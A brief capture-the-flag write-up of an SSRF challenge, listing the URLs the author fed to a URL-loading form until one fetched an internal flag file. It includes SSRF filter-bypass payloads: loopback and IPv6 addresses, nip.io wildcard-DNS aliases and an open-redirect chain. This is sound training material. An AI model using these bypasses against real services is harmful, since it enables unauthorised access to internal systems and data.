Do Not Serve

This was a simple SSRF level.

A link is given which is showing 403 Forbidden page. As the description on page says, it can be accessed internally.

A form is given to load any URL.

Entered the link to flag.txt as it is.
http://51.15.92.102:8080/flag.txt

Tried local IP
http://127.0.0.1:8080/flag.txt

Tried local IP ki behan
http://[::]:8080/flag.txt

Tried local IP ki mummy
http://127.0.0.1.nip.io:8080/flag.txt

Tried the redirection
https://b99.in/ssrf.php?to=http%3A%2F%2F51.15.92.102%3A8080%2Fflag.txt

And server did not like b99 either.

Tried SSRF bypass trick
http://51.15.92.102.nip.io:8080/flag.txt

It worked! Gave a link that had the code.

Entered the code in the form and got the flag.